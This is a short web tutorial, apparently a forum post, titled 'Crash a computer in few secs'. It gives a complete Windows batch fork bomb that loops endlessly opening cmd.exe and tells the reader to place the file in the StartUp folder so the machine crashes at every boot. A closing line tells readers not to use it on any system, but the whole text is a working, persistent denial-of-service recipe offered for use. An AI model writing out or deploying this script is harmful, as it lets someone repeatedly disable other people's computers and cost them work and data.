Crash a computer in few secs

How to crash a computer in few secs:

1.Open a text document and put this in it:

@ECHO OFF
:loop
start cmd.exe
goto loop

2.Save this as test.bat on a safe place.

3.Put it in the StartUp folder for crash everytime when windows starts.

4. Run it and the computer will crash.

NOTE: This is just for your knowledge, But PLZ................. don't do this on any system.